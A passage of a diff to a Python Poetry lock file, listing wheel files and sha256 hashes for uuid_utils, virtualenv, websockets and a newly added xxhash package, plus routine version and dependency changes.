{file = "uuid_utils-0.16.2-cp310-cp310-win32.whl", hash = "sha256:dcf20151d2aa451013f2b3c2cce06958f43b7573b5f616adb91786c7b777715b"}, + {file = "uuid_utils-0.16.2-cp310-cp310-win_amd64.whl", hash = "sha256:f709169579a356132f224d525ed589f88d466bbb922b9d752d8d86b1fb57ad46"}, + {file = "uuid_utils-0.16.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:fadd23eee409237fb8637a35796a6e108873c28b40f7de89a36685f18ca055ad"}, + {file = "uuid_utils-0.16.2-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:79c5a3bd4301257b9a524efd16baf61ea65cd0d1b60b47d80f20b151fd65a09f"}, + {file = "uuid_utils-0.16.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90903ab7fcdfb0300390c15f5a68cb91f15139d9a1a93f134c783d7a973fa269"}, + {file = "uuid_utils-0.16.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f7a44f8250ec178c0af703c3f1b6e81865a771272ae735ca403f27c95c62f132"}, + {file = "uuid_utils-0.16.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9e97ab941660f781a8e45f15aba9ee01b40dbb96adb5c43617c1671a4604b25b"}, + {file = "uuid_utils-0.16.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a30b6a5790acb854e4b65fae7875e5d3c6f8076fa9c91dac43ff9e28380bc52"}, + {file = "uuid_utils-0.16.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5dfc3e9e75139a84898771d31958ece6cdee8e8f127700aa8aa26a4f1a348d57"}, + {file = "uuid_utils-0.16.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0529b1ef0788f663e1211d221b59a38ec67f9b084f1ea5342ba84358b3d87e98"}, + {file = "uuid_utils-0.16.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:cae08df8695f4b01fce2a8ab50e9e310971276d85dfc7103e977bed52d365094"}, + {file = "uuid_utils-0.16.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f69658c42411540cf58be958a47e317fd2302cc0b613ea5cff1e60d87be2846d"}, + {file = "uuid_utils-0.16.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:503f020acc7dbeb39c47fa33cf2971cf5960fa11f8394513fac461762a90c556"}, + {file = "uuid_utils-0.16.2-cp311-cp311-win32.whl", hash = "sha256:aab7cdf28a3e2859ca4f40a3e3bf53eb35895039c80d4d8d8c5e15b90346c55c"}, + {file = "uuid_utils-0.16.2-cp311-cp311-win_amd64.whl", hash = "sha256:71192a59d473f3f638e2a238905046e2942006ad90ac5ec10d578e58ff9a08ce"}, + {file = "uuid_utils-0.16.2-cp311-cp311-win_arm64.whl", hash = "sha256:ea175649789f1e93edbf1a0440cab18c9838977703917221777691d8d988d7bf"}, + {file = "uuid_utils-0.16.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:6f064dc54c6abecb09eb104d953bfb079f3c395e0d6b18899979f852d1083549"}, + {file = "uuid_utils-0.16.2-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:dd7aa18db5cc826d482d876a826fee445839701f81f78567e7c74b4458d57a84"}, + {file = "uuid_utils-0.16.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc25ad320c9b44c2d3ed33aff4f85b0b277bef4ff79b12c01ee58b52ea44be1d"}, + {file = "uuid_utils-0.16.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d0ca752d51d1004caff65fccffd44b32a26cb099b546e0512cfa09facb683d6c"}, + {file = "uuid_utils-0.16.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8323136bb02355c1b973492ab98b0722206dfdedfb148e4115c35fcdf3889bad"}, + {file = "uuid_utils-0.16.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9bf8bfdffb22f620635580b17fd178272f30a9841b824b19b935c8db64bf09b6"}, + {file = "uuid_utils-0.16.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:61454f2139424a6cff14eca7849c28b3350f261453b74075aa20fe99592dbb16"}, + {file = "uuid_utils-0.16.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:725110434a1d482a639a9ac467a24f1cb531d84ab52e454a13fe145b10b42cae"}, + {file = "uuid_utils-0.16.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:8197870739a3094990743a80f075fa0b17beafd6c187e5f360e021d90a12a6d1"}, + {file = "uuid_utils-0.16.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e10a02b3a31ed44c7c9a96abde335f5fa222735e73f3081d693414377eb3b016"}, + {file = "uuid_utils-0.16.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fd32dbca0792b9683160151dc07fad11b915020eed7c82b43faf0862c2ff06a0"}, + {file = "uuid_utils-0.16.2-cp312-cp312-win32.whl", hash = "sha256:dcdfcab60562d12dd43c1a6f495b1d089e41f0e10fac37d94db285d72b678c23"}, + {file = "uuid_utils-0.16.2-cp312-cp312-win_amd64.whl", hash = "sha256:97ee6f5e803ea571f5f6da42efc97d8c5a13f121043680177f8470529b94e855"}, + {file = "uuid_utils-0.16.2-cp312-cp312-win_arm64.whl", hash = "sha256:72cfd9ff1e8a7c371a044687e77eb873721c4a9f4814e453439bfba595b84303"}, + {file = "uuid_utils-0.16.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:c19b7d595d12923da682ed13d313c2333b9ebf214e65a47a24927a8a3a81b191"}, + {file = "uuid_utils-0.16.2-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:909e26fa2451c8db31b9ed1d3c8e4ecf513b6d1619db4205997fe99eb6b4ef4f"}, + {file = "uuid_utils-0.16.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:27271b37fbc6812bb1542c4b8e22ee00223a6bf7f62b1f38d3bcf8e92f6d9acd"}, + {file = "uuid_utils-0.16.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:dc4b9d96a2c689d664cf3fc7f7db46b82d2821fb2ce8a4f0798fc0a92c1569f8"}, + {file = "uuid_utils-0.16.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c3bf41b696b0fe808df1b4091c70273a52ea033b0fe97341cd67ecd76d22bb3a"}, + {file = "uuid_utils-0.16.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fcc329be41bb6534ecb03e50596179ab76c7643ced33d13c66967d5ae1869663"}, + {file = "uuid_utils-0.16.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4125bf6ed3ae443c05e140f8585d174b9d647295b12034d5ec94ae2ae38edefa"}, + {file = "uuid_utils-0.16.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:840b21e609a9b203eee06bdc73e18397154447a9814a8e78d9b68e5104d9802f"}, + {file = "uuid_utils-0.16.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5119bec75f56bd028d97472f72b1ed723a0d60b09a48017dc70a3cb1892ed081"}, + {file = "uuid_utils-0.16.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:9fe600ab7d3d4eb56986e814042c917e728ac92cd8a41f099a6b59b84d8bf9e6"}, + {file = "uuid_utils-0.16.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e44020a4532229ccfbba353138539774686350dda71cf4368e257973dd8ba403"}, + {file = "uuid_utils-0.16.2-cp313-cp313-pyemscripten_2025_0_wasm32.whl", hash = "sha256:280d4f1f22dd2e79c1cc31ffc7fc26dc3534ffc114dedcdd29cc8489c5ce9c98"}, + {file = "uuid_utils-0.16.2-cp313-cp313-win32.whl", hash = "sha256:4942b26ad12c5187bac52b7fb4685040139ff0df9a19cde33e5025326f6180fc"}, + {file = "uuid_utils-0.16.2-cp313-cp313-win_amd64.whl", hash = "sha256:01f81c71cf2185de0707e9d2f248e17025ba50af0acd3cbf51cd8aea96c2e0be"}, + {file = "uuid_utils-0.16.2-cp313-cp313-win_arm64.whl", hash = "sha256:c1dbe65ce6d46c5f645356d64bfb2de7564e2426ca8c9b1a0a401d6f7ae5cc22"}, + {file = "uuid_utils-0.16.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:617955f4b3f649617c0388127d8a257202189d5cc3c720313f8b207df1cdb2a4"}, + {file = "uuid_utils-0.16.2-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:0aa2569908bdb21ccb216cd6bd06cb934351ee65ea7cd5e351e19f633a99b577"}, + {file = "uuid_utils-0.16.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f4af7673e84e1ec6029f18d3a0408095c471c4e2691b6e46b4e1f0a2051734ba"}, + {file = "uuid_utils-0.16.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ecadf55ed6b8fb72e7966b52fd02919e7d7bb8e7bffeaf285803b82e774debfb"}, + {file = "uuid_utils-0.16.2-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:026b96b2f1e6b004579e030692d2f6568ccd0b29d40687213c31694abf570c78"}, + {file = "uuid_utils-0.16.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:273679723e88544dd2de0564ab7f2fddfa2270faf05cabfdf63c275be67ec2a1"}, + {file = "uuid_utils-0.16.2-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ec5b1a338b92d1eb121e9eaf06ae3db1b9a5cd794ce318a475f6dc6f9e89c3a8"}, + {file = "uuid_utils-0.16.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e75f9429d4533ce275c98bc68bf47fb237ae7b32c954266dabc5edab0c7d682e"}, + {file = "uuid_utils-0.16.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:7f3cca9ca5e2c2dfd7b885f0d34c10b993a070d3593f3cdfef785195da36fb0f"}, + {file = "uuid_utils-0.16.2-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:1ef8c561fdf88fec205e3d54037824cfe2addce16b509a8d2ecb69daa904cbb7"}, + {file = "uuid_utils-0.16.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3e3acb5e1451232381daea01645a98c69de4bb9ad88d77a1f7c1df4d83d54e62"}, + {file = "uuid_utils-0.16.2-cp314-cp314-win32.whl", hash = "sha256:b5f8e7d0bb2c6e6180176237f92d2e949626e04fcf701c49d73f128e1f64e1d1"}, + {file = "uuid_utils-0.16.2-cp314-cp314-win_amd64.whl", hash = "sha256:bf922bad7df257336b594d316a1657df569860bb5389602919001fa6fb17f06e"}, + {file = "uuid_utils-0.16.2-cp314-cp314-win_arm64.whl", hash = "sha256:fad82e6482129c58ba9b00da6c247ab6e767645ab17981599229cce19d7b2ce9"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:e0609e7e906c08386b7f33141254df05dcab24f1c4884150988dc7a287516aca"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:9ad2adeb941292fe02e1e5c70b80a5746c45b1b77594506c2a1421455d8384f9"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d906c00f965d5c5f4812d0086dc49bf813285ea84c97e8816405200e146f805b"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a59205fc15463dd0f978f14df14307737e3d4e8ef4aefa29a9d0fa766d84d16b"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:aac82500329ffaf2788dac36cf133e1e4e23b6d5e1118274ea6749c3b512f4f1"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3d8257329f26905f009aed694bd3b17f334f43748b03134dc7bc99d6c5b4e371"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e04b5c10c6fcf9d9801084d1e86c9d7ada7eb48fe07ee4ae5e7fe5b1a852db8a"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:3d4805c4739dd06d539f8f4fa94f5aaf26eca4b3ece1ef134d4ff904c6b08dcf"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:76632d2e16e26de777851ec07961ceaea14e65167d0603a0b17fb169fa9ca37b"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:6c02f85f49c9c2abbf247a8622458c30232332a28711755aa191da5f38015af6"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f668035ea9faa763e8f1ea42040e8439db88cf2517056d47c348a62a257a1d02"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-win32.whl", hash = "sha256:62b8841895eff1c0afbaf5f0050411667231160478c8ff9f411742abffd3b619"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-win_amd64.whl", hash = "sha256:e9064805881c30dd80a4189a0da7130e3d684de353ea36edd99c1b994bdf429e"}, + {file = "uuid_utils-0.16.2-cp314-cp314t-win_arm64.whl", hash = "sha256:3324bac95084e63e28553c92fac5a0394c636a76e03e50a7dab0c0bbddf87fa5"}, + {file = "uuid_utils-0.16.2-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:8b8e325e61f918caf74ca540e3384b81e6e22aea782e57f615d15fc9773b96c8"}, + {file = "uuid_utils-0.16.2-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:9282677ebf2ea5b437c20d16e75bcd7629bdc205018f95557b33b76868d8bb5b"}, + {file = "uuid_utils-0.16.2-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2e9ca7f5e215373cc9c147172170a0b1a4ab0dee9cc62fe446d9b075f31e3241"}, + {file = "uuid_utils-0.16.2-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:43cc72a92694d08ade8faadacf928857d9cceb84b449473246ae4e4f263d7d22"}, + {file = "uuid_utils-0.16.2-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:511b5fde12d29c37a9badd399af62105bb2f4696aa10eb18be74e7b9ca84413a"}, + {file = "uuid_utils-0.16.2-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:585d3adf73afa60348bf2bd529491c640a692350e76d8ff3974455e273aadfe7"}, + {file = "uuid_utils-0.16.2-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ae5fa2007fd26d26f7b09e76259d5ca99bec191616207ca929f8dca12da08129"}, + {file = "uuid_utils-0.16.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:9b4520521aa46a2582fe1829c535fe60b78999b89257db998df3816eb895bdf3"}, + {file = "uuid_utils-0.16.2.tar.gz", hash = "sha256:fa637e4f314ad5b59ff6d8e809d506443d68bef30bfaecdfcfe02cce689abb2f"}, +] [[package]] name = "uvicorn" @@ -3022,26 +3225,23 @@ test = ["aiohttp (>=3.10.5)", "flake8 (>=5.0,<6.0)", "mypy (>=0.800)", "psutil", [[package]] name = "virtualenv" -version = "20.34.0" +version = "21.5.1" description = "Virtual Python Environment builder" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "virtualenv-20.34.0-py3-none-any.whl", hash = "sha256:341f5afa7eee943e4984a9207c025feedd768baff6753cd660c857ceb3e36026"}, - {file = "virtualenv-20.34.0.tar.gz", hash = "sha256:44815b2c9dee7ed86e387b842a84f20b93f7f417f95886ca1996a72a4138eb1a"}, + {file = "virtualenv-21.5.1-py3-none-any.whl", hash = "sha256:55aa670b67bbfb991b03fda39bd3276d92c419d702376e98c5df1c9989a26783"}, + {file = "virtualenv-21.5.1.tar.gz", hash = "sha256:dca3bf98275a59c652b69d68e73433e597d977c2da9198882479d1a7188009c8"}, ] [package.dependencies] distlib = ">=0.3.7,<1" -filelock = ">=3.12.2,<4" +filelock = {version = ">=3.24.2,<4", markers = "python_version >= \"3.10\""} platformdirs = ">=3.9.1,<5" +python-discovery = ">=1.4.2" typing-extensions = {version = ">=4.13.2", markers = "python_version < \"3.11\""} -[package.extras] -docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.2,!=7.3)", "sphinx-argparse (>=0.4)", "sphinxcontrib-towncrier (>=0.2.1a0)", "towncrier (>=23.6)"] -test = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "coverage-enable-subprocess (>=1)", "flaky (>=3.7)", "packaging (>=23.1)", "pytest (>=7.4)", "pytest-env (>=0.8.2)", "pytest-freezer (>=0.4.8) ; platform_python_implementation == \"PyPy\" or platform_python_implementation == \"GraalVM\" or platform_python_implementation == \"CPython\" and sys_platform == \"win32\" and python_version >= \"3.13\"", "pytest-mock (>=3.11.1)", "pytest-randomly (>=3.12)", "pytest-timeout (>=2.1)", "setuptools (>=68)", "time-machine (>=2.10) ; platform_python_implementation == \"CPython\""] - [[package]] name = "watchfiles" version = "1.1.0" @@ -3167,7 +3367,7 @@ version = "15.0.1" description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" optional = false python-versions = ">=3.9" -groups = ["main"] +groups = ["main", "dev"] files = [ {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b"}, {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205"}, @@ -3240,6 +3440,203 @@ files = [ {file = "websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee"}, ] +[[package]] +name = "xxhash" +version = "3.8.0" +description = "Python binding for xxHash" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "xxhash-3.8.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a2289857ab90ebb2408d4ac2b7cf7e9ff29bba9d2cb21020c9d11fbbaef78eea"}, + {file = "xxhash-3.8.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d211cfa927a107df09359d1f31070883a11121ddc88fd6dd27eda3a497a88f3d"}, + {file = "xxhash-3.8.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ba02f4cc4e71e1315ecac0468189b49bf3970da05ddf0b6965b4a9b1fe147e62"}, + {file = "xxhash-3.8.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:342d1a6f161741f8612dc38d940ec0019ae3362c0ede2d16554c1b4e3f1d5444"}, + {file = "xxhash-3.8.0-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:75feec84a48cafd3b2446cb41910bebaf9a8150e2313c1f42887435818fb7b4c"}, + {file = "xxhash-3.8.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:53e8f6cc0cc24283d98e9c742a0f0a5ded7a810abc4038b9e885e419fcd44e43"}, + {file = "xxhash-3.8.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:73d04a4520cc7313acf4ff2122f783056d0592c71fc3a59e90fe0baeb499d124"}, + {file = "xxhash-3.8.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d5a7fdfde5022f5000c8e6565db954580d19a8aa497ef80875f461e4546ed182"}, + {file = "xxhash-3.8.0-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6a667f0dd160ec0ff6dddf42f2d75ad82660074285855f6037d6ecb57d40d0f8"}, + {file = "xxhash-3.8.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aaaf53eb633205f01bb5fb807f6244bd34af121bfb1e21eedc925374aff5723e"}, + {file = "xxhash-3.8.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:71b2e99a02fd5275b7ecab0b01130395beed4c6f027b6ce9f0730025634e7091"}, + {file = "xxhash-3.8.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b25437ffd781d4cb98acef87f4bc32e27682f603ffd27ed5962948b516e777ff"}, + {file = "xxhash-3.8.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:fe0ee773fd6c211b3b0134ee5d6fd6348411bd7bd79cdb4151d0aaf732179571"}, + {file = "xxhash-3.8.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:06c74e537f45c2f71010738d4d20741186cac29a035ec5c1c621c723d656c2fd"}, + {file = "xxhash-3.8.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:718162a608eb85a22470725f95d63d834b1d7db98a2008b10309cd5a552d91ad"}, + {file = "xxhash-3.8.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:934cd5008d86e201818ca4416a4202039ea29edd89047166fea5c49999677bea"}, + {file = "xxhash-3.8.0-cp310-cp310-win32.whl", hash = "sha256:1f2c243a385e2c2ce72f5b7d68f3a621cc7d2ee2d0f35e0ca6bf5427ef1922a4"}, + {file = "xxhash-3.8.0-cp310-cp310-win_amd64.whl", hash = "sha256:cb4996d43a42d825e2aa6f2b6a978b2a7779397b6a28e4fab5eb9505457023e4"}, + {file = "xxhash-3.8.0-cp310-cp310-win_arm64.whl", hash = "sha256:b3a79d694adcfd70d118c73d244eaece7f5f5ab424feb44573bd1d377e1bf0ea"}, + {file = "xxhash-3.8.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08c34553cd7ceb3bfcfca344dc70305a45430429b5d58a67750f2a58364f638f"}, + {file = "xxhash-3.8.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:842d147983110e5a4f533f98f4f5bc851a08c7ca00aaa30649e8d5f9a6d4e47a"}, + {file = "xxhash-3.8.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:37c9943e18f569f76a8b7d5d01bfe0716f7762c396096ceb42a47eb3d5ecf641"}, + {file = "xxhash-3.8.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21f6797afdc7abb0ffae059a0d1619c84a5368115bc0abd48f9803ab56a5d35e"}, + {file = "xxhash-3.8.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5875d99d3540367d43779551dd22c813420b84a103e418d791095b9808fdca57"}, + {file = "xxhash-3.8.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1a54ad5a2a96cdf1ee7a935d38bc63daa6095530095a916f644f1ab76604ced5"}, + {file = "xxhash-3.8.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b32e50dd85f0b67b2b95eb59cd3242052f6b27b70e9e73b27629686c592e3ea3"}, + {file = "xxhash-3.8.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e4208fb85c950ddf7118b040bca15179c3bf9b7eb8bebe5e6ef067fc8af16a7"}, + {file = "xxhash-3.8.0-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9f17e09b035f2a0139536da53deb392b62ee259dc2a2189be12b06a7dd50489b"}, + {file = "xxhash-3.8.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7d6dbb976d6e3b3be51bad16b13de7f4980e6aebd0aa51c5a14dfcc0fedd495e"}, + {file = "xxhash-3.8.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:281897e5c516769694c999f5c50fd1e9acb27acbff187282a8ac77c38b6a9be5"}, + {file = "xxhash-3.8.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8fba3d08c246201a1a0a6cece53a0b3b0890fc16adbe1edb245fcfcbf4eb0ce2"}, + {file = "xxhash-3.8.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:14ebc1559e8a9a481d0d5506b87678942fcdfa794d4aa55cdd2a0fb175d4245a"}, + {file = "xxhash-3.8.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5e7a3e3bbe3a56bff70acc9b72576670e793b0184de3d1b9cda2bf697d17f630"}, + {file = "xxhash-3.8.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9c71e3755a8320d29c351126d550930349be22b44bac1a559caf12ab78b53e9f"}, + {file = "xxhash-3.8.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:715c611582004e75010517b919776c5dbc00aae03054dc9fd72484a23fd1862f"}, + {file = "xxhash-3.8.0-cp311-cp311-win32.whl", hash = "sha256:41a30a1d0ba978238742a374875c15979e0faed0a65294f3ff4d9410057ee8b6"}, + {file = "xxhash-3.8.0-cp311-cp311-win_amd64.whl", hash = "sha256:43705f917b8b817d6994851bf3725b98b4c95e64186404d9a6dbc1acf12fd140"}, + {file = "xxhash-3.8.0-cp311-cp311-win_arm64.whl", hash = "sha256:35c5d843bb7ac1dfdb125ef4181fe4c2e01c2275856e6b699de89e9eb5c69c8d"}, + {file = "xxhash-3.8.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fc4bd14f873cd0b420f6f1ff5b5cd0dbfeb05b044a11bb9345bcbbf9749636e3"}, + {file = "xxhash-3.8.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:31904979198e913239cb61b49f5b849696aeb3b03340da815d1491ec74dcc602"}, + {file = "xxhash-3.8.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7338ad13f2b273a1ef0ea97b2db0a059fdb3a1a29298bfa145937c0e4152d341"}, + {file = "xxhash-3.8.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:54e80e803cb34c8a1d278b491e543af40a588d288589c3e6becc991d5328b46b"}, + {file = "xxhash-3.8.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:353953ea18f5c3fbdd13936fb536aacfb47d5bc06eef0919b1a355df61f7cc31"}, + {file = "xxhash-3.8.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d761f983a315630eff18c2fec7360c6b6946f82748026e779336eb8141ef3eba"}, + {file = "xxhash-3.8.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f3786a9beb9a3b76241cb7db5f5388b460682c12204236389e3221963fc626a6"}, + {file = "xxhash-3.8.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a2c94f5a9a775f36cc522fa2a7e8e2cec512e252d2ac056759f753dc68a79ffc"}, + {file = "xxhash-3.8.0-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:55ce59f9af37ac861947b43ea3ce7b294b5de77a1234b558d0f07ffad0197624"}, + {file = "xxhash-3.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3afa1422a32c7c8e79ad5121dc21eaa5cee9e9e67bffca3f15d15d220d371908"}, + {file = "xxhash-3.8.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:551fda694938be910529452a89175137c58b4739e41fadff3c047e24b1d74a3b"}, + {file = "xxhash-3.8.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:512eb937c9457e6057e230e005c4709dd2ab63a5989f854d69f31db905750a62"}, + {file = "xxhash-3.8.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4931ea93840f750a908efebaf23c71004feacc1a4649ef601b96d400a505c9a9"}, + {file = "xxhash-3.8.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:2fd4b60e8d9fc3923f39079f185b3425e6d76636fcb66d82a33dd7eba7c30f2f"}, + {file = 